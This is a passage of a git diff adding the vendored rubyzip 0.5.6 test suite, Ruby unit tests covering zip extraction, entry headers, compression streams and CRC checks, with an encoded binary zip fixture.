File.open(EXTRACTED_FILENAME, "r") { + |f| + assert_equals(writtenText, f.read) + } + end + + def test_extractExistsOverwrite + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + gotCalled = false + ZipFile.open(TEST_ZIP.zipName) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } + } + + assert(gotCalled) + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert(writtenText != f.read) + } + end + + def test_extractNonEntry + zf = ZipFile.new(TEST_ZIP.zipName) + assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } + ensure + zf.close if zf + end + + def test_extractNonEntry2 + outFile = "outfile" + assert_exception(ZipNoSuchEntryError) { + zf = ZipFile.new(TEST_ZIP.zipName) + nonEntry = "hotdog-diddelidoo" + assert(! zf.entries.include?(nonEntry)) + zf.extract(nonEntry, outFile) + zf.close + } + assert(! File.exists?(outFile)) + end + +end + +class ZipFileExtractDirectoryTest < CommonZipFileFixture + TEST_OUT_NAME = "emptyOutDir" + + def openZip(&aProc) + assert(aProc != nil) + ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) + end + + def extractTestDir(&aProc) + openZip { + |zf| + zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) + } + end + + def setup + super + + Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME + File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME + end + + def test_extractDirectory + extractTestDir + assert(File.directory? TEST_OUT_NAME) + end + + def test_extractDirectoryExistsAsDir + Dir.mkdir TEST_OUT_NAME + extractTestDir + assert(File.directory? TEST_OUT_NAME) + end + + def test_extractDirectoryExistsAsFile + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + assert_exception(ZipDestinationFileExistsError) { extractTestDir } + end + + def test_extractDirectoryExistsAsFileOverwrite + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + gotCalled = false + extractTestDir { + |entry, destPath| + gotCalled = true + assert_equals(TEST_OUT_NAME, destPath) + assert(entry.isDirectory) + true + } + assert(gotCalled) + assert(File.directory? TEST_OUT_NAME) + end +end + + +TestFiles::createTestFiles(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) +TestZipFile::createTestZips(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) +exit if ARGV.index("recreateonly") != nil + +#require 'runit/cui/testrunner' +#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) + +# Copyright (C) 2002 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/ioextrastest.rb b/vendor/rubyzip-0.5.6/test/ioextrastest.rb new file mode 100755 index 00000000..673e3029 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/ioextrastest.rb @@ -0,0 +1,208 @@ +#!/usr/bin/env ruby + +$VERBOSE = true + +$: << ".." + +require 'rubyunit' +require 'zip/ioextras' + +include IOExtras + +class FakeIOTest < RUNIT::TestCase + class FakeIOUsingClass + include FakeIO + end + + def test_kind_of? + obj = FakeIOUsingClass.new + + assert(obj.kind_of?(Object)) + assert(obj.kind_of?(FakeIOUsingClass)) + assert(obj.kind_of?(IO)) + assert(!obj.kind_of?(Fixnum)) + assert(!obj.kind_of?(String)) + end +end + +class AbstractInputStreamTest < RUNIT::TestCase + # AbstractInputStream subclass that provides a read method + + TEST_LINES = [ "Hello world#{$/}", + "this is the second line#{$/}", + "this is the last line"] + TEST_STRING = TEST_LINES.join + class TestAbstractInputStream + include AbstractInputStream + def initialize(aString) + super() + @contents = aString + @readPointer = 0 + end + + def read(charsToRead) + retVal=@contents[@readPointer, charsToRead] + @readPointer+=charsToRead + return retVal + end + + def produce_input + read(100) + end + + def input_finished? + @contents[@readPointer] == nil + end + end + + def setup + @io = TestAbstractInputStream.new(TEST_STRING) + end + + def test_gets + assert_equals(TEST_LINES[0], @io.gets) + assert_equals(1, @io.lineno) + assert_equals(TEST_LINES[1], @io.gets) + assert_equals(2, @io.lineno) + assert_equals(TEST_LINES[2], @io.gets) + assert_equals(3, @io.lineno) + assert_equals(nil, @io.gets) + assert_equals(4, @io.lineno) + end + + def test_getsMultiCharSeperator + assert_equals("Hell", @io.gets("ll")) + assert_equals("o world#{$/}this is the second l", @io.gets("d l")) + end + + def test_each_line + lineNumber=0 + @io.each_line { + |line| + assert_equals(TEST_LINES[lineNumber], line) + lineNumber+=1 + } + end + + def test_readlines + assert_equals(TEST_LINES, @io.readlines) + end + + def test_readline + test_gets + begin + @io.readline + fail "EOFError expected" + rescue EOFError + end + end +end + +class AbstractOutputStreamTest < RUNIT::TestCase + class TestOutputStream + include AbstractOutputStream + + attr_accessor :buffer + + def initialize + @buffer = "" + end + + def << (data) + @buffer << data + self + end + end + + def setup + @outputStream = TestOutputStream.new + + @origCommaSep = $, + @origOutputSep = $\ + end + + def teardown + $, = @origCommaSep + $\ = @origOutputSep + end + + def test_write + count = @outputStream.write("a little string") + assert_equals("a little string", @outputStream.buffer) + assert_equals("a little string".length, count) + + count = @outputStream.write(". a little more") + assert_equals("a little string. a little more", @outputStream.buffer) + assert_equals(". a little more".length, count) + end + + def test_print + $\ = nil # record separator set to nil + @outputStream.print("hello") + assert_equals("hello", @outputStream.buffer) + + @outputStream.print(" world.") + assert_equals("hello world.", @outputStream.buffer) + + @outputStream.print(" You ok ", "out ", "there?") + assert_equals("hello world. You ok out there?", @outputStream.buffer) + + $\ = "\n" + @outputStream.print + assert_equals("hello world. You ok out there?\n", @outputStream.buffer) + + @outputStream.print("I sure hope so!") + assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) + + $, = "X" + @outputStream.buffer = "" + @outputStream.print("monkey", "duck", "zebra") + assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) + + $\ = nil + @outputStream.buffer = "" + @outputStream.print(20) + assert_equals("20", @outputStream.buffer) + end + + def test_printf + @outputStream.printf("%d %04x", 123, 123) + assert_equals("123 007b", @outputStream.buffer) + end + + def test_putc + @outputStream.putc("A") + assert_equals("A", @outputStream.buffer) + @outputStream.putc(65) + assert_equals("AA", @outputStream.buffer) + end + + def test_puts + @outputStream.puts + assert_equals("\n", @outputStream.buffer) + + @outputStream.puts("hello", "world") + assert_equals("\nhello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts("hello\n", "world\n") + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"]) + assert_equals("hello\nworld\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(["hello\n", "world\n"], "bingo") + assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) + + @outputStream.buffer = "" + @outputStream.puts(16, 20, 50, "hello") + assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) + end +end + + +# Copyright (C) 2002-2004 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/test/notzippedruby.rb b/vendor/rubyzip-0.5.6/test/notzippedruby.rb new file mode 100755 index 00000000..036d25e9 --- /dev/null +++ b/vendor/rubyzip-0.5.6/test/notzippedruby.rb @@ -0,0 +1,7 @@ +#!/usr/bin/env ruby + +class NotZippedRuby + def returnTrue + true + end +end diff --git a/vendor/rubyzip-0.5.6/test/rubycode.zip b/vendor/rubyzip-0.5.6/test/rubycode.zip new file mode 100755 index 0000000000000000000000000000000000000000..8a68560e638088df79cd3bf68973013e5421a138 GIT binary patch literal 617 zcmWIWW@Zs#U|`^2*ef_ihj&#AyDyLz4#a#6q6}4;1qG=oMWsoVhI&Owp&^_M%*Qqz zusOT^fK6xx3qz{5pk{E`6@6X3Oa7XQ6aq^YrF$udom<7Oc6lM6}=RDLT(4ef%v0bc!4h^8y1W zF(|b-zqBYhRj;I?1ROS-fZ>81HlI)HpFDBKJKSTf$2lEFL!-|k4N6D3GG|(@>;ig~ zkx85xSJ3kU?ONSo@jDa*vNRhlwoTaWDdGpXl_l7YYQ5=Tcy zrKJm6mDneFo%MeBlu4K&z?+dtoEeupd4aBFU| zA4oGE-6BAHIKZ|xRwx*G19_o9EQG2%Ei)(8(9jU>1duaeP7pnEkh8&nhxJ1B@*nf6 zHmC3$*O)cQq4xsI(%Y*)R4Bgs(PD5T$>)hP`&4@^Uu)sOHmP%+3H(JZ*Tj$A;8upFq4-#D)-_!rOo zz!GmJQzzjm|Ki#?1CQIcEI2yj#PYsPrf+proq4ajTwpGhS;Rkm%D0A)zZ8EJcxCc?6yCYU#-$Z+V)|>29qyQgrU)ZKDMG0hH6=mA&`2McB8;FZB0rGW z^aM>2Fx?OquacTrK4QqJHwn1X`eeKbzSH2tf ze~@$y7Fr=VYr&WAVTm&&(+zp%a4xxL^+-`ycmB2e%C1^V4FwljSkE~#@%Fi*%OZ!K zJ;>Ryr7T6HD!}#Rvky$Dk$dY_Uj ZipEntry.new("zf.zip", "a"))) + assert_equals(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) + assert_equals(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) + + entries = [ + ZipEntry.new("zf.zip", "5"), + ZipEntry.new("zf.zip", "1"), + ZipEntry.new("zf.zip", "3"), + ZipEntry.new("zf.zip", "4"), + ZipEntry.new("zf.zip", "0"), + ZipEntry.new("zf.zip", "2") + ] + + entries.sort! + assert_equals("0", entries[0].to_s) + assert_equals("1", entries[1].to_s) + assert_equals("2", entries[2].to_s) + assert_equals("3", entries[3].to_s) + assert_equals("4", entries[4].to_s) + assert_equals("5", entries[5].to_s) + end + + def test_parentAsString + entry1 = ZipEntry.new("zf.zip", "aa") + entry2 = ZipEntry.new("zf.zip", "aa/") + entry3 = ZipEntry.new("zf.zip", "aa/bb") + entry4 = ZipEntry.new("zf.zip", "aa/bb/") + entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") + entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") + + assert_equals(nil, entry1.parent_as_string) + assert_equals(nil, entry2.parent_as_string) + assert_equals("aa/", entry3.parent_as_string) + assert_equals("aa/", entry4.parent_as_string) + assert_equals("aa/bb/", entry5.parent_as_string) + assert_equals("aa/bb/", entry6.parent_as_string) + end + + def test_entry_name_cannot_start_with_slash + assert_exception(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } + end +end + +module IOizeString + attr_reader :tell + + def read(count = nil) + @tell ||= 0 + count = size unless count + retVal = slice(@tell, count) + @tell += count + return retVal + end + + def seek(index, offset) + @tell ||= 0 + case offset + when IO::SEEK_END + newPos = size + index + when IO::SEEK_SET + newPos = index + when IO::SEEK_CUR + newPos = @tell + index + else + raise "Error in test method IOizeString::seek" + end + if (newPos < 0 || newPos >= size) + raise Errno::EINVAL + else + @tell=newPos + end + end + + def reset + @tell = 0 + end +end + +class ZipLocalEntryTest < RUNIT::TestCase + def test_read_local_entryHeaderOfFirstTestZipEntry + File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { + |file| + entry = ZipEntry.read_local_entry(file) + + assert_equal("", entry.comment) + # Differs from windows and unix because of CR LF + # assert_equal(480, entry.compressed_size) + # assert_equal(0x2a27930f, entry.crc) + # extra field is 21 bytes long + # probably contains some unix attrutes or something + # disabled: assert_equal(nil, entry.extra) + assert_equal(ZipEntry::DEFLATED, entry.compression_method) + assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) + assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) + assert(! entry.is_directory) + } + end + + def test_readDateTime + File.open("rubycode.zip", "rb") { + |file| + entry = ZipEntry.read_local_entry(file) + assert_equals("zippedruby1.rb", entry.name) + assert_equals(Time.at(1019261638), entry.time) + } + end + + def test_read_local_entryFromNonZipFile + File.open("file2.txt") { + |file| + assert_equals(nil, ZipEntry.read_local_entry(file)) + } + end + + def test_read_local_entryFromTruncatedZipFile + zipFragment="" + File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes + zipFragment.extend(IOizeString).reset + entry = ZipEntry.new + entry.read_local_entry(zipFragment) + fail "ZipError expected" + rescue ZipError + end + + def test_writeEntry + entry = ZipEntry.new("file.zip", "entryName", "my little comment", + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) + write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) + entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") + compare_local_entry_headers(entry, entryReadLocal) + compare_c_dir_entry_headers(entry, entryReadCentral) + end + + private + def compare_local_entry_headers(entry1, entry2) + assert_equals(entry1.compressed_size , entry2.compressed_size) + assert_equals(entry1.crc , entry2.crc) + assert_equals(entry1.extra , entry2.extra) + assert_equals(entry1.compression_method, entry2.compression_method) + assert_equals(entry1.name , entry2.name) + assert_equals(entry1.size , entry2.size) + assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) + end + + def compare_c_dir_entry_headers(entry1, entry2) + compare_local_entry_headers(entry1, entry2) + assert_equals(entry1.comment, entry2.comment) + end + + def write_to_file(localFileName, centralFileName, entry) + File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } + File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } + end + + def read_from_file(localFileName, centralFileName) + localEntry = nil + cdirEntry = nil + File.open(localFileName, "rb") { |f| localEntry = ZipEntry.read_local_entry(f) } + File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } + return [localEntry, cdirEntry] + end +end + + +module DecompressorTests + # expects @refText, @refLines and @decompressor + + TEST_FILE="file1.txt" + + def setup + @refText="" + File.open(TEST_FILE) { |f| @refText = f.read } + @refLines = @refText.split($/) + end + + def test_readEverything + assert_equals(@refText, @decompressor.read) + end + + def test_readInChunks + chunkSize = 5 + while (decompressedChunk = @decompressor.read(chunkSize)) + assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) + end + assert_equals(0, @refText.size) + end + + def test_mixingReadsAndProduceInput + # Just some preconditions to make sure we have enough data for this test + assert(@refText.length > 1000) + assert(@refLines.length > 40) + + + assert_equals(@refText[0...100], @decompressor.read(100)) + + assert(! @decompressor.input_finished?) + buf = @decompressor.produce_input + assert_equals(@refText[100...(100+buf.length)], buf) + end +end + +class InflaterTest < RUNIT::TestCase + include DecompressorTests + + def setup + super + @file = File.new("file1.txt.deflatedData", "rb") + @decompressor = Inflater.new(@file) + end + + def teardown + @file.close + end +end + + +class PassThruDecompressorTest < RUNIT::TestCase + include DecompressorTests + def setup + super + @file = File.new(TEST_FILE) + @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) + end + + def teardown + @file.close + end +end + + +module AssertEntry + def assert_next_entry(filename, zis) + assert_entry(filename, zis, zis.get_next_entry.name) + end + + def assert_entry(filename, zis, entryName) + assert_equals(filename, entryName) + assert_entryContentsForStream(filename, zis, entryName) + end + + def assert_entryContentsForStream(filename, zis, entryName) + File.open(filename, "rb") { + |file| + expected = file.read + actual = zis.read + if (expected != actual) + if ((expected && actual) && (expected.length > 400 || actual.length > 400)) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end + end + } + end + + def AssertEntry.assert_contents(filename, aString) + fileContents = "" + File.open(filename, "rb") { |f| fileContents = f.read } + if (fileContents != aString) + if (fileContents.length > 400 || aString.length > 400) + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + else + assert_equals(fileContents, aString) + end + end + end + + def assert_stream_contents(zis, testZipFile) + assert(zis != nil) + testZipFile.entry_names.each { + |entryName| + assert_next_entry(entryName, zis) + } + assert_equals(nil, zis.get_next_entry) + end + + def assert_test_zip_contents(testZipFile) + ZipInputStream.open(testZipFile.zip_name) { + |zis| + assert_stream_contents(zis, testZipFile) + } + end + + def assert_entryContents(zipFile, entryName, filename = entryName.to_s) + zis = zipFile.get_input_stream(entryName) + assert_entryContentsForStream(filename, zis, entryName) + ensure + zis.close if zis + end +end + + + +class ZipInputStreamTest < RUNIT::TestCase + include AssertEntry + + def test_new + zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) + assert_stream_contents(zis, TestZipFile::TEST_ZIP2) + zis.close + end + + def test_openWithBlock + ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { + |zis| + assert_stream_contents(zis, TestZipFile::TEST_ZIP2) + } + end + + def test_openWithoutBlock + zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) + assert_stream_contents(zis, TestZipFile::TEST_ZIP2) + end + + def test_incompleteReads + ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { + |zis| + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) + assert zis.gets.length > 0 + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) + assert_equals(0, entry.size) + assert_equals(nil, zis.gets) + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) + assert zis.gets.length > 0 + entry = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) + assert zis.gets.length > 0 + } + end + + def test_rewind + ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { + |zis| + e = zis.get_next_entry + assert_equals(TestZipFile::TEST_ZIP2.entry_names[0], e.name) + + # Do a little reading + buf = "" + buf << zis.read(100) + buf << (zis.gets || "") + buf << (zis.gets || "") + + zis.rewind + + buf2 = "" + buf2 << zis.read(100) + buf2 << (zis.gets || "") + buf2 << (zis.gets || "") + + assert_equals(buf, buf2) + + zis.rewind + + assert_entry(e.name, zis, e.name) + } + end + +end + +class TestFiles + RANDOM_ASCII_FILE1 = "randomAscii1.txt" + RANDOM_ASCII_FILE2 = "randomAscii2.txt" + RANDOM_ASCII_FILE3 = "randomAscii3.txt" + RANDOM_BINARY_FILE1 = "randomBinary1.bin" + RANDOM_BINARY_FILE2 = "randomBinary2.bin" + + EMPTY_TEST_DIR = "emptytestdir" + + ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] + BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] + TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] + TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! + + def TestFiles.create_test_files(recreate) + if (recreate || + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + + ASCII_TEST_FILES.each_with_index { + |filename, index| + create_random_ascii(filename, 1E4 * (index+1)) + } + + BINARY_TEST_FILES.each_with_index { + |filename, index| + create_random_binary(filename, 1E4 * (index+1)) + } + + ensure_dir(EMPTY_TEST_DIR) + end + end + + private + def TestFiles.create_random_ascii(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << rand + end + } + end + + def TestFiles.create_random_binary(filename, size) + File.open(filename, "wb") { + |file| + while (file.tell < size) + file << [rand].pack("V") + end + } + end + + def TestFiles.ensure_dir(name) + if File.exists?(name) + return if File.stat(name).directory? + File.delete(name) + end + Dir.mkdir(name) + end + +end + +# For representation and creation of +# test data +class TestZipFile + attr_accessor :zip_name, :entry_names, :comment + + def initialize(zip_name, entry_names, comment = "") + @zip_name=zip_name + @entry_names=entry_names + @comment = comment + end + + def TestZipFile.create_test_zips(recreate) + files = Dir.entries(".") + if (recreate || + ! (files.index(TEST_ZIP1.zip_name) && + files.index(TEST_ZIP2.zip_name) && + files.index(TEST_ZIP3.zip_name) && + files.index(TEST_ZIP4.zip_name) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) + raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless + system("zip #{TEST_ZIP1.zip_name} file2.txt") + raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless + system("zip #{TEST_ZIP1.zip_name} -d file2.txt") + + File.open("empty.txt", "w") {} + + File.open("short.txt", "w") { |file| file << "ABCDEF" } + ziptestTxt="" + File.open("file2.txt") { |file| ziptestTxt=file.read } + File.open("longAscii.txt", "w") { + |file| + while (file.tell < 1E5) + file << ziptestTxt + end + } + + testBinaryPattern="" + File.open("empty.zip") { |file| testBinaryPattern=file.read } + testBinaryPattern *= 4 + + File.open("longBinary.bin", "wb") { + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end + } + raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless + system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") + + # without bash system interprets everything after echo as parameters to + # echo including | zip -z ... + raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") + + raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless + system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") + + raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless + system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") + end + rescue + raise $!.to_s + + "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + + "to create test data. If you don't have it you can download\n" + + "the necessary test files at http://sf.net/projects/rubyzip." + end + + TEST_ZIP1 = TestZipFile.new("empty.zip", []) + TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, + "my zip comment") + TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) + TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", + TestFiles::EMPTY_TEST_DIR]) +end + + +module CrcTest + + class TestOutputStream + include IOExtras::AbstractOutputStream + + attr_accessor :buffer + + def initialize + @buffer = "" + end + + def << (data) + @buffer << data + self + end + end + + def run_crc_test(compressorClass) + str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." + fakeOut = TestOutputStream.new + + deflater = compressorClass.new(fakeOut) + deflater << str + assert_equals(0x919920fc, deflater.crc) + end +end + + + +class PassThruCompressorTest < RUNIT::TestCase + include CrcTest + + def test_size + File.open("dummy.txt", "wb") { + |file| + compressor = PassThruCompressor.new(file) + + assert_equals(0, compressor.size) + + t1 = "hello world" + t2 = "" + t3 = "bingo" + + compressor << t1 + assert_equals(compressor.size, t1.size) + + compressor << t2 + assert_equals(compressor.size, t1.size + t2.size) + + compressor << t3 + assert_equals(compressor.size, t1.size + t2.size + t3.size) + } + end + + def test_crc + run_crc_test(PassThruCompressor) + end +end + +class DeflaterTest < RUNIT::TestCase + include CrcTest + + def test_outputOperator + txt = load_file("file2.txt") + deflate(txt, "deflatertest.bin") + inflatedTxt = inflate("deflatertest.bin") + assert_equals(txt, inflatedTxt) + end + + private + def load_file(fileName) + txt = nil + File.open(fileName, "rb") { |f| txt = f.read } + end + + def deflate(data, fileName) + File.open(fileName, "wb") { + |file| + deflater = Deflater.new(file) + deflater << data + deflater.finish + assert_equals(deflater.size, data.size) + file << "trailing data for zlib with -MAX_WBITS" + } + end + + def inflate(fileName) + txt = nil + File.open(fileName, "rb") { + |file| + inflater = Inflater.new(file) + txt = inflater.read + } + end + + def test_crc + run_crc_test(Deflater) + end +end + +class ZipOutputStreamTest < RUNIT::TestCase + include AssertEntry + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zip_name = "output.zip" + + def test_new + zos = ZipOutputStream.new(TEST_ZIP.zip_name) + zos.comment = TEST_ZIP.comment + write_test_zip(zos) + zos.close + assert_test_zip_contents(TEST_ZIP) + end + + def test_open + ZipOutputStream.open(TEST_ZIP.zip_name) { + |zos| + zos.comment = TEST_ZIP.comment + write_test_zip(zos) + } + assert_test_zip_contents(TEST_ZIP) + end + + def test_writingToClosedStream + assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } + assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } + assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } + end + + def test_cannotOpenFile + name = TestFiles::EMPTY_TEST_DIR + begin + zos = ZipOutputStream.open(name) + rescue Exception + assert($!.kind_of?(Errno::EISDIR) || # Linux + $!.kind_of?(Errno::EEXIST) || # Windows/cygwin + $!.kind_of?(Errno::EACCES), # Windows + "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") + end + end + + def assert_i_o_error_in_closed_stream + assert_exception(IOError) { + zos = ZipOutputStream.new("test_putOnClosedStream.zip") + zos.close + yield zos + } + end + + def write_test_zip(zos) + TEST_ZIP.entry_names.each { + |entryName| + zos.put_next_entry(entryName) + File.open(entryName, "rb") { |f| zos.write(f.read) } + } + end +end + + + +module Enumerable + def compare_enumerables(otherEnumerable) + otherAsArray = otherEnumerable.to_a + index=0 + each_with_index { + |element, index| + return false unless yield(element, otherAsArray[index]) + } + return index+1 == otherAsArray.size + end +end + + +class ZipCentralDirectoryEntryTest < RUNIT::TestCase + + def test_read_from_stream + File.open("testDirectory.bin", "rb") { + |file| + entry = ZipEntry.read_c_dir_entry(file) + + assert_equals("longAscii.txt", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compression_method) + assert_equals(106490, entry.size) + assert_equals(3784, entry.compressed_size) + assert_equals(0xfcd1799c, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals("empty.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compression_method) + assert_equals(0, entry.size) + assert_equals(0, entry.compressed_size) + assert_equals(0x0, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals("short.txt", entry.name) + assert_equals(ZipEntry::STORED, entry.compression_method) + assert_equals(6, entry.size) + assert_equals(6, entry.compressed_size) + assert_equals(0xbb76fe69, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals("longBinary.bin", entry.name) + assert_equals(ZipEntry::DEFLATED, entry.compression_method) + assert_equals(1000024, entry.size) + assert_equals(70847, entry.compressed_size) + assert_equals(0x10da7d59, entry.crc) + assert_equals("", entry.comment) + + entry = ZipEntry.read_c_dir_entry(file) + assert_equals(nil, entry) +# Fields that are not check by this test: +# version made by 2 bytes +# version needed to extract 2 bytes +# general purpose bit flag 2 bytes +# last mod file time 2 bytes +# last mod file date 2 bytes +# compressed size 4 bytes +# uncompressed size 4 bytes +# disk number start 2 bytes +# internal file attributes 2 bytes +# external file attributes 4 bytes +# relative offset of local header 4 bytes + +# file name (variable size) +# extra field (variable size) +# file comment (variable size) + + } + end + + def test_ReadEntryFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes + fragment.extend(IOizeString) + entry = ZipEntry.new + entry.read_c_dir_entry(fragment) + fail "ZipError expected" + rescue ZipError + end + +end + + +class ZipEntrySetTest < RUNIT::TestCase + ZIP_ENTRIES = [ + ZipEntry.new("zipfile.zip", "name1", "comment1"), + ZipEntry.new("zipfile.zip", "name2", "comment1"), + ZipEntry.new("zipfile.zip", "name3", "comment1"), + ZipEntry.new("zipfile.zip", "name4", "comment1"), + ZipEntry.new("zipfile.zip", "name5", "comment1"), + ZipEntry.new("zipfile.zip", "name6", "comment1") + ] + + def setup + @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) + end + + def test_include + assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) + assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) + end + + def test_size + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.length) + @zipEntrySet << ZipEntry.new("a", "b", "c") + assert_equals(ZIP_ENTRIES.size + 1, @zipEntrySet.length) + end + + def test_add + zes = ZipEntrySet.new + entry1 = ZipEntry.new("zf.zip", "name1") + entry2 = ZipEntry.new("zf.zip", "name2") + zes << entry1 + assert(zes.include?(entry1)) + zes.push(entry2) + assert(zes.include?(entry2)) + end + + def test_delete + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + entry = @zipEntrySet.delete(ZIP_ENTRIES.first) + assert_equals(ZIP_ENTRIES.size - 1, @zipEntrySet.size) + assert_equals(ZIP_ENTRIES.first, entry) + + entry = @zipEntrySet.delete(ZIP_ENTRIES.first) + assert_equals(ZIP_ENTRIES.size - 1, @zipEntrySet.size) + assert_nil(entry) + end + + def test_each + # Tested indirectly via each_with_index + count = 0 + @zipEntrySet.each_with_index { + |entry, index| + assert(ZIP_ENTRIES.include?(entry)) + count = count.succ + } + assert_equals(ZIP_ENTRIES.size, count) + end + + def test_entries + assert_equals(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) + end + + def test_compound + newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + @zipEntrySet << newEntry + assert_equals(ZIP_ENTRIES.size + 1, @zipEntrySet.size) + assert(@zipEntrySet.include?(newEntry)) + + @zipEntrySet.delete(newEntry) + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + end + + def test_dup + copy = @zipEntrySet.dup + assert_equals(@zipEntrySet, copy) + + # demonstrate that this is a deep copy + 